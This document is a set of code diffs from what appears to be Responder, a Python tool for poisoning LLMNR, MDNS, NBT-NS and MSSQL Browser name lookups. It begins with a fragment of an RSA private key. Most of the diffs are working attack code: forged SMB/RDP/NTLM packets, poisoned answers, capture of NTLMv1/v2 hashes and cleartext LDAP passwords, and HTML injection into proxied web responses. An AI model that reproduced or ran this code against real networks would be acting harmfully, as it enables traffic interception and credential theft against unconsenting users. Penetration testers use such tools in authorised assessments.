kaWQ5QKBgHE0pD2GAZwqlvKCM5YmBvDpebaBNwpvoY22e2jzyuQF6cmw85eAtp35 eQkTKb0RAoGAQmZ+FKGEek2QSvgXbOoO1O2ypQRwtB+LuAGUFv8dEvwAtKn6CZAK
f92PeuiYyaXuLgL2BR4HSYSjwggxh31JJnRccIxSamATrGOiWnIttDsCB5/WibOp jwzJEPnQ6t9fuNqe1iGJ2og4OQ4je93wxL8XMLI3oYWs+5FM8HaaqsYNVJWoRBFS
MKuFj26d01imFixufclvZfJxbAvVy4H9hmyjgtycNY+Gp5/CLgDC T5faW0yVyQt0MQ13xh2mE2IfZoHiKrXKPZmuLRh+/slGZFJtlAOBciM=
-----END RSA PRIVATE KEY----- -----END RSA PRIVATE KEY-----

View File

@@ -1597,4 +1597,184 @@ class SMB2Session2Data(Packet):
]) ])
######################FindSMBTime.py##########################
class SMBHeaderReq(Packet):
fields = OrderedDict([
("Proto", "\xff\x53\x4d\x42"),
("Cmd", "\x72"),
("Error-Code", "\x00\x00\x00\x00" ),
("Flag1", "\x10"),
("Flag2", "\x00\x00"),
("Pidhigh", "\x00\x00"),
("Signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("Reserved", "\x00\x00"),
("TID", "\x00\x00"),
("PID", "\xff\xfe"),
("UID", "\x00\x00"),
("MID", "\x00\x00"),
])
class SMB2NegoReq(Packet):
fields = OrderedDict([
("Wordcount", "\x00"),
("Bcc", "\x62\x00"),
("Data", "")
])
def calculate(self):
self.fields["Bcc"] = struct.pack("<H",len(str(self.fields["Data"])))
class SMB2NegoDataReq(Packet):
fields = OrderedDict([
("StrType","\x02" ),
("dialect", "NT LM 0.12\x00"),
("StrType1","\x02"),
("dialect1", "SMB 2.002\x00"),
("StrType2","\x02"),
("dialect2", "SMB 2.???\x00"),
])
###################RDP Packets################################
class TPKT(Packet):
fields = OrderedDict([
("Version", "\x03"),
("Reserved", "\x00"),
("Length", "\x00\x24" ),
("Data", ""),
])
def calculate(self):
self.fields["Length"] = struct.pack(">h",len(str(self.fields["Data"]))+4)#Data+own header.
class X224(Packet):
fields = OrderedDict([
("Length", "\x0e"),
("Cmd", "\xd0"),
("Dstref", "\x00\x00"),
("Srcref", "\x12\x34"),
("Class", "\x00"),
("Data", "")
])
def calculate(self):
self.fields["Length"] = struct.pack(">B",len(str(self.fields["Data"]))+6)
class RDPNEGOAnswer(Packet):
fields = OrderedDict([
("Cmd", "\x02"),
("Flags", "\x00"),
("Length", "\x08\x00"),
("SelectedProto", "\x02\x00\x00\x00"),#CredSSP
])
def calculate(self):
self.fields["Length"] = struct.pack("<h",8)
class RDPNTLMChallengeAnswer(Packet):
fields = OrderedDict([
("PacketStartASN", "\x30"),
("PacketStartASNLenOfLen", "\x81"),
("PacketStartASNStr", "\x01"), #Len of what follows... in this case, +20 since it's x81 lengths are >B
("PacketStartASNTag0", "\xa0"),
("PacketStartASNTag0Len", "\x03"), #Static for TSVersion
("PacketStartASNTag0Len2", "\x02"),
("PacketStartASNTag0Len3", "\x01"),
("PacketStartASNTag0CredSSPVersion", "\x05"),##TSVersion: Since padding oracle, v2,v3,v4 are rejected by win7..
("ParserHeadASNID1", "\xa1"),
("ParserHeadASNLenOfLen1", "\x81"),
("ParserHeadASNLen1", "\xfa"),#... +12
("MessageIDASNID", "\x30"),
("MessageIDASNLen", "\x81"),
("MessageIDASNLen2", "\xf7"),#... +9
("OpHeadASNID", "\x30"),
("OpHeadASNIDLenOfLen", "\x81"),
("OpHeadASNIDLen", "\xf4"),#... +6
("StatusASNID", "\xa0"),
("MatchedDN", "\x81"),
("ASNLen01", "\xf1"),#NTLM len +3
("SequenceHeader", "\x04"),
("SequenceHeaderLenOfLen", "\x81"),
("SequenceHeaderLen", "\xee"), #done
#######
("NTLMSSPSignature", "NTLMSSP"),
("NTLMSSPSignatureNull", "\x00"),
("NTLMSSPMessageType", "\x02\x00\x00\x00"),
("NTLMSSPNtWorkstationLen", "\x1e\x00"),
("NTLMSSPNtWorkstationMaxLen", "\x1e\x00"),
("NTLMSSPNtWorkstationBuffOffset", "\x38\x00\x00\x00"),
("NTLMSSPNtNegotiateFlags", "\x15\x82\x8a\xe2"),
("NTLMSSPNtServerChallenge", "\x81\x22\x33\x34\x55\x46\xe7\x88"),
("NTLMSSPNtReserved", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("NTLMSSPNtTargetInfoLen", "\x94\x00"),
("NTLMSSPNtTargetInfoMaxLen", "\x94\x00"),
("NTLMSSPNtTargetInfoBuffOffset", "\x56\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionHigh", "\x05"),
("NegTokenInitSeqMechMessageVersionLow", "\x02"),
("NegTokenInitSeqMechMessageVersionBuilt", "\xce\x0e"),
("NegTokenInitSeqMechMessageVersionReserved", "\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionNTLMType", "\x0f"),
("NTLMSSPNtWorkstationName", "RDP12"),
("NTLMSSPNTLMChallengeAVPairsId", "\x02\x00"),
("NTLMSSPNTLMChallengeAVPairsLen", "\x0a\x00"),
("NTLMSSPNTLMChallengeAVPairsUnicodeStr", "RDP12"),
("NTLMSSPNTLMChallengeAVPairs1Id", "\x01\x00"),
("NTLMSSPNTLMChallengeAVPairs1Len", "\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr", "RDP12"),
("NTLMSSPNTLMChallengeAVPairs2Id", "\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs2Len", "\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr", "RDP12"),
("NTLMSSPNTLMChallengeAVPairs3Id", "\x03\x00"),
("NTLMSSPNTLMChallengeAVPairs3Len", "\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr", "RPD12"),
("NTLMSSPNTLMChallengeAVPairs5Id", "\x05\x00"),
("NTLMSSPNTLMChallengeAVPairs5Len", "\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr", "RDP12"),
("NTLMSSPNTLMChallengeAVPairs6Id", "\x00\x00"),
("NTLMSSPNTLMChallengeAVPairs6Len", "\x00\x00"),
])
def calculate(self):
###### Convert strings to Unicode first
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le')
###### Workstation Offset
CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
###### AvPairs Offset
CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
###### RDP Packet Len
NTLMMessageLen = CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
##### RDP Len Calculation:
self.fields["SequenceHeaderLen"] = struct.pack(">B", len(NTLMMessageLen))
self.fields["ASNLen01"] = struct.pack(">B", len(NTLMMessageLen)+3)
self.fields["OpHeadASNIDLen"] = struct.pack(">B", len(NTLMMessageLen)+6)
self.fields["MessageIDASNLen2"] = struct.pack(">B", len(NTLMMessageLen)+9)
self.fields["ParserHeadASNLen1"] = struct.pack(">B", len(NTLMMessageLen)+12)
self.fields["PacketStartASNStr"] = struct.pack(">B", len(NTLMMessageLen)+20)
##### Workstation Offset Calculation:
self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation))
self.fields["NTLMSSPNtWorkstationLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
self.fields["NTLMSSPNtWorkstationMaxLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
##### IvPairs Offset Calculation:
self.fields["NTLMSSPNtTargetInfoBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
self.fields["NTLMSSPNtTargetInfoLen"] = struct.pack("<h", len(CalculateLenAvpairs))
self.fields["NTLMSSPNtTargetInfoMaxLen"] = struct.pack("<h", len(CalculateLenAvpairs))
##### IvPair Calculation:
self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))

View File

@@ -62,13 +62,24 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
if settings.Config.AnalyzeMode: if settings.Config.AnalyzeMode:
LineHeader = "[Analyze mode: LLMNR]" LineHeader = "[Analyze mode: LLMNR]"
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1) print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
SavePoisonersToDb({
'Poisoner': 'LLMNR',
'SentToIp': self.client_address[0],
'ForName': Name,
'AnalyzeMode': '1',
})
else: # Poisoning Mode else: # Poisoning Mode
Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name) Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
Buffer.calculate() Buffer.calculate()
soc.sendto(str(Buffer), self.client_address) soc.sendto(str(Buffer), self.client_address)
LineHeader = "[*] [LLMNR]" LineHeader = "[*] [LLMNR]"
print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1) print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)
SavePoisonersToDb({
'Poisoner': 'LLMNR',
'SentToIp': self.client_address[0],
'ForName': Name,
'AnalyzeMode': '0',
})
if Finger is not None: if Finger is not None:
print text("[FINGER] OS Version : %s" % color(Finger[0], 3)) print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
print text("[FINGER] Client Version : %s" % color(Finger[1], 3)) print text("[FINGER] Client Version : %s" % color(Finger[1], 3))

View File

@@ -51,6 +51,12 @@ class MDNS(BaseRequestHandler):
if settings.Config.AnalyzeMode: # Analyze Mode if settings.Config.AnalyzeMode: # Analyze Mode
if Parse_IPV6_Addr(data): if Parse_IPV6_Addr(data):
print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3))) print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))
SavePoisonersToDb({
'Poisoner': 'MDNS',
'SentToIp': self.client_address[0],
'ForName': Request_Name,
'AnalyzeMode': '1',
})
else: # Poisoning Mode else: # Poisoning Mode
if Parse_IPV6_Addr(data): if Parse_IPV6_Addr(data):
@@ -60,3 +66,9 @@ class MDNS(BaseRequestHandler):
soc.sendto(str(Buffer), (MADDR, MPORT)) soc.sendto(str(Buffer), (MADDR, MPORT))
print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1) print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)
SavePoisonersToDb({
'Poisoner': 'MDNS',
'SentToIp': self.client_address[0],
'ForName': Request_Name,
'AnalyzeMode': '0',
})

View File

@@ -54,6 +54,12 @@ class NBTNS(BaseRequestHandler):
if settings.Config.AnalyzeMode: # Analyze Mode if settings.Config.AnalyzeMode: # Analyze Mode
LineHeader = "[Analyze mode: NBT-NS]" LineHeader = "[Analyze mode: NBT-NS]"
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1) print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
SavePoisonersToDb({
'Poisoner': 'NBT-NS',
'SentToIp': self.client_address[0],
'ForName': Name,
'AnalyzeMode': '1',
})
else: # Poisoning Mode else: # Poisoning Mode
Buffer = NBT_Ans() Buffer = NBT_Ans()
Buffer.calculate(data) Buffer.calculate(data)
@@ -62,6 +68,13 @@ class NBTNS(BaseRequestHandler):
print color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(data[43:46])), 2, 1) print color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(data[43:46])), 2, 1)
SavePoisonersToDb({
'Poisoner': 'NBT-NS',
'SentToIp': self.client_address[0],
'ForName': Name,
'AnalyzeMode': '0',
})
if Finger is not None: if Finger is not None:
print text("[FINGER] OS Version : %s" % color(Finger[0], 3)) print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
print text("[FINGER] Client Version : %s" % color(Finger[1], 3)) print text("[FINGER] Client Version : %s" % color(Finger[1], 3))

View File

@@ -192,7 +192,6 @@ def PacketSequence(data, client, Challenge):
if NTLM_Auth: if NTLM_Auth:
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9] Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
print "Challenge 2:", Challenge.encode('hex')
if Packet_NTLM == "\x01": if Packet_NTLM == "\x01":
GrabURL(data, client) GrabURL(data, client)
GrabReferer(data, client) GrabReferer(data, client)
@@ -266,46 +265,48 @@ class HTTP(BaseRequestHandler):
def handle(self): def handle(self):
try: try:
Challenge = RandomChallenge() Challenge = RandomChallenge()
for x in range(2):
while True:
self.request.settimeout(3) self.request.settimeout(3)
data = self.request.recv(8092) remaining = 10*1024*1024 #setting max recieve size
data = ''
while True:
buff = ''
buff = self.request.recv(8092)
if buff == '':
break
data += buff
remaining -= len(buff)
#check if we recieved the full header
if data.find('\r\n\r\n') != -1:
#we did, now to check if there was anything else in the request besides the header
if data.find('Content-Length') == -1:
#request contains only header
break
else:
#searching for that content-length field in the header
for line in data.split('\r\n'):
if line.find('Content-Length') != -1:
line = line.strip()
remaining = int(line.split(':')[1].strip()) - len(data)
if remaining <= 0:
break
if data == "":
break
#now the data variable has the full request
Buffer = WpadCustom(data, self.client_address[0]) Buffer = WpadCustom(data, self.client_address[0])
if Buffer and settings.Config.Force_WPAD_Auth == False: if Buffer and settings.Config.Force_WPAD_Auth == False:
self.request.send(Buffer) self.request.send(Buffer)
self.request.close() self.request.close()
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0]) print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0])
else: else:
Buffer = PacketSequence(data,self.client_address[0], Challenge) Buffer = PacketSequence(data,self.client_address[0], Challenge)
self.request.send(Buffer) self.request.send(Buffer)
except socket.error: except socket.error:
pass pass
# HTTPS Server class
class HTTPS(StreamRequestHandler):
def setup(self):
self.exchange = self.request
self.rfile = socket._fileobject(self.request, "rb", self.rbufsize)
self.wfile = socket._fileobject(self.request, "wb", self.wbufsize)
def handle(self):
try:
Challenge = RandomChallenge()
data = self.exchange.recv(8092)
self.exchange.settimeout(0.5)
Buffer = WpadCustom(data,self.client_address[0])
if Buffer and settings.Config.Force_WPAD_Auth == False:
self.exchange.send(Buffer)
if settings.Config.Verbose:
print text("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0])
else:
Buffer = PacketSequence(data,self.client_address[0], Challenge)
self.exchange.send(Buffer)
except:
pass

View File

@@ -52,9 +52,9 @@ def InjectData(data, client, req_uri):
return RespondWithFile(client, settings.Config.Html_Filename) return RespondWithFile(client, settings.Config.Html_Filename)
Len = ''.join(re.findall(r'(?<=Content-Length: )[^\r\n]*', Headers)) Len = ''.join(re.findall(r'(?<=Content-Length: )[^\r\n]*', Headers))
HasBody = re.findall(r'(<body[^>]*>)', Content) HasBody = re.findall(r'(<body[^>]*>)', Content, re.IGNORECASE)
if HasBody and len(settings.Config.HtmlToInject) > 2: if HasBody and len(settings.Config.HtmlToInject) > 2 and not req_uri.endswith('.js'):
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HtmlToInject, 3, 1)) print text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HtmlToInject, 3, 1))

View File

@@ -27,37 +27,53 @@ def ParseSearch(data):
elif re.search(r'(?i)(objectClass0*.*supportedSASLMechanisms)', data): elif re.search(r'(?i)(objectClass0*.*supportedSASLMechanisms)', data):
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9])) return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
def ParseLDAPHash(data, client): def ParseLDAPHash(data,client, Challenge): #Parse LDAP NTLMSSP v1/v2
SSPIStart = data[42:] SSPIStart = data.find('NTLMSSP')
LMhashLen = struct.unpack('<H',data[54:56])[0] SSPIString = data[SSPIStart:]
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
LMhashOffset = struct.unpack('<H',data[SSPIStart+16:SSPIStart+18])[0]
LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[SSPIStart+20:SSPIStart+22])[0]
NthashOffset = struct.unpack('<H',data[SSPIStart+24:SSPIStart+26])[0]
if LMhashLen > 10: if NthashLen == 24:
LMhashOffset = struct.unpack('<H',data[58:60])[0] SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper() DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
NthashLen = struct.unpack('<H',data[64:66])[0] Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
NthashOffset = struct.unpack('<H',data[66:68])[0] UserLen = struct.unpack('<H',SSPIString[38:40])[0]
NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
DomainLen = struct.unpack('<H',data[72:74])[0] WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, Challenge.encode('hex'))
DomainOffset = struct.unpack('<H',data[74:76])[0]
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
UserLen = struct.unpack('<H',data[80:82])[0]
UserOffset = struct.unpack('<H',data[82:84])[0]
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
WriteHash = User + "::" + Domain + ":" + LMHash + ":" + NtHash + ":" + Challenge.encode('hex')
SaveToDb({ SaveToDb({
'module': 'LDAP', 'module': 'LDAP',
'type': 'NTLMv1', 'type': 'NTLMv1-SSP',
'client': client, 'client': client,
'user': Domain+'\\'+User, 'user': Domain+'\\'+Username,
'hash': NtHash, 'hash': SMBHash,
'fullhash': WriteHash, 'fullhash': WriteHash,
}) })
if NthashLen > 60:
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), SMBHash[:32], SMBHash[32:])
SaveToDb({
'module': 'LDAP',
'type': 'NTLMv2',
'client': client,
'user': Domain+'\\'+Username,
'hash': SMBHash,
'fullhash': WriteHash,
})
if LMhashLen < 2 and settings.Config.Verbose: if LMhashLen < 2 and settings.Config.Verbose:
print text("[LDAP] Ignoring anonymous NTLM authentication") print text("[LDAP] Ignoring anonymous NTLM authentication")
@@ -67,7 +83,7 @@ def ParseNTLM(data,client, Challenge):
NTLMChall.calculate() NTLMChall.calculate()
return str(NTLMChall) return str(NTLMChall)
elif re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data): elif re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data):
ParseLDAPHash(data,client) ParseLDAPHash(data, client, Challenge)
def ParseLDAPPacket(data, client, Challenge): def ParseLDAPPacket(data, client, Challenge):
if data[1:2] == '\x84': if data[1:2] == '\x84':
@@ -102,19 +118,37 @@ def ParseLDAPPacket(data, client, Challenge):
elif Operation == "\x63": elif Operation == "\x63":
Buffer = ParseSearch(data) Buffer = ParseSearch(data)
return Buffer return Buffer
elif settings.Config.Verbose: elif settings.Config.Verbose:
print text('[LDAP] Operation not supported') print text('[LDAP] Operation not supported')
if data[5:6] == '\x60':
UserLen = struct.unpack("<b",data[11:12])[0]
UserString = data[12:12+UserLen]
PassLen = struct.unpack("<b",data[12+UserLen+1:12+UserLen+2])[0]
PassStr = data[12+UserLen+2:12+UserLen+3+PassLen]
if settings.Config.Verbose:
print text('[LDAP] Attempting to parse an old simple Bind request.')
SaveToDb({
'module': 'LDAP',
'type': 'Cleartext',
'client': client,
'user': UserString,
'cleartext': PassStr,
'fullhash': UserString+':'+PassStr,
})
class LDAP(BaseRequestHandler): class LDAP(BaseRequestHandler):
def handle(self): def handle(self):
try: try:
while True: self.request.settimeout(0.4)
self.request.settimeout(0.5) data = self.request.recv(8092)
data = self.request.recv(8092) Challenge = RandomChallenge()
Challenge = RandomChallenge() for x in range(5):
Buffer = ParseLDAPPacket(data,self.client_address[0], Challenge) Buffer = ParseLDAPPacket(data,self.client_address[0], Challenge)
if Buffer: if Buffer:
self.request.send(Buffer) self.request.send(Buffer)
except socket.timeout: data = self.request.recv(8092)
pass except:
pass

View File

@@ -17,6 +17,7 @@
from SocketServer import BaseRequestHandler from SocketServer import BaseRequestHandler
from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer
from utils import * from utils import *
import random
import struct import struct
class TDS_Login_Packet: class TDS_Login_Packet:
@@ -119,33 +120,59 @@ def ParseClearTextSQLPass(data, client):
# MSSQL Server class # MSSQL Server class
class MSSQL(BaseRequestHandler): class MSSQL(BaseRequestHandler):
def handle(self): def handle(self):
if settings.Config.Verbose:
print text("[MSSQL] Received connection from %s" % self.client_address[0])
try: try:
while True: data = self.request.recv(1024)
data = self.request.recv(1024) if settings.Config.Verbose:
self.request.settimeout(0.1) print text("[MSSQL] Received connection from %s" % self.client_address[0])
Challenge = RandomChallenge()
if data[0] == "\x12": # Pre-Login Message if data[0] == "\x12": # Pre-Login Message
Buffer = str(MSSQLPreLoginAnswer()) Buffer = str(MSSQLPreLoginAnswer())
self.request.send(Buffer)
data = self.request.recv(1024)
if data[0] == "\x10": # NegoSSP
if re.search("NTLMSSP",data):
Challenge = RandomChallenge()
Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge)
Packet.calculate()
Buffer = str(Packet)
self.request.send(Buffer) self.request.send(Buffer)
data = self.request.recv(1024) data = self.request.recv(1024)
else:
ParseClearTextSQLPass(data,self.client_address[0])
if data[0] == "\x10": # NegoSSP if data[0] == "\x11": # NegoSSP Auth
if re.search("NTLMSSP",data): ParseSQLHash(data,self.client_address[0],Challenge)
Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge)
Packet.calculate()
Buffer = str(Packet)
self.request.send(Buffer)
data = self.request.recv(1024)
else:
ParseClearTextSQLPass(data,self.client_address[0])
if data[0] == "\x11": # NegoSSP Auth
ParseSQLHash(data,self.client_address[0])
except: except:
self.request.close()
pass pass
# MSSQL Server Browser class
# See "[MC-SQLR]: SQL Server Resolution Protocol": https://msdn.microsoft.com/en-us/library/cc219703.aspx
class MSSQLBrowser(BaseRequestHandler):
def handle(self):
if settings.Config.Verbose:
print text("[MSSQL-BROWSER] Received request from %s" % self.client_address[0])
data, soc = self.request
if data:
if data[0] in "\x02\x03": # CLNT_BCAST_EX / CLNT_UCAST_EX
self.send_response(soc, "MSSQLSERVER")
elif data[0] == "\x04": # CLNT_UCAST_INST
self.send_response(soc, data[1:].rstrip("\x00"))
elif data[0] == "\x0F": # CLNT_UCAST_DAC
self.send_dac_response(soc)
def send_response(self, soc, inst):
print text("[MSSQL-BROWSER] Sending poisoned response to %s" % self.client_address[0])
server_name = ''.join(chr(random.randint(ord('A'), ord('Z'))) for _ in range(random.randint(12, 20)))
resp = "ServerName;%s;InstanceName;%s;IsClustered;No;Version;12.00.4100.00;tcp;1433;;" % (server_name, inst)
soc.sendto(struct.pack("<BH", 0x05, len(resp)) + resp, self.client_address)
def send_dac_response(self, soc):
print text("[MSSQL-BROWSER] Sending poisoned DAC response to %s" % self.client_address[0])
soc.sendto(struct.pack("<BHBH", 0x05, 0x06, 0x01, 1433), self.client_address)

View File

@@ -47,7 +47,7 @@ def GrabHost(data):
return Host return Host
return False return False
def PacketSequence(data, client): def PacketSequence(data, client, Challenge):
NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data) NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data) Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)
if NTLM_Auth: if NTLM_Auth:
@@ -56,14 +56,14 @@ def PacketSequence(data, client):
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[Proxy-Auth] Sending NTLM authentication request to %s" % client) print text("[Proxy-Auth] Sending NTLM authentication request to %s" % client)
Buffer = NTLM_Challenge(ServerChallenge=settings.Config.Challenge) Buffer = NTLM_Challenge(ServerChallenge=Challenge)
Buffer.calculate() Buffer.calculate()
Buffer_Ans = WPAD_NTLM_Challenge_Ans() Buffer_Ans = WPAD_NTLM_Challenge_Ans()
Buffer_Ans.calculate(str(Buffer)) Buffer_Ans.calculate(str(Buffer))
return str(Buffer_Ans) return str(Buffer_Ans)
if Packet_NTLM == "\x03": if Packet_NTLM == "\x03":
NTLM_Auth = b64decode(''.join(NTLM_Auth)) NTLM_Auth = b64decode(''.join(NTLM_Auth))
ParseHTTPHash(NTLM_Auth, client, "Proxy-Auth") ParseHTTPHash(NTLM_Auth, Challenge, client, "Proxy-Auth")
GrabUserAgent(data) GrabUserAgent(data)
GrabCookie(data) GrabCookie(data)
GrabHost(data) GrabHost(data)
@@ -101,9 +101,10 @@ class Proxy_Auth(SocketServer.BaseRequestHandler):
def handle(self): def handle(self):
try: try:
Challenge = RandomChallenge()
for x in range(2): for x in range(2):
data = self.request.recv(4096) data = self.request.recv(4096)
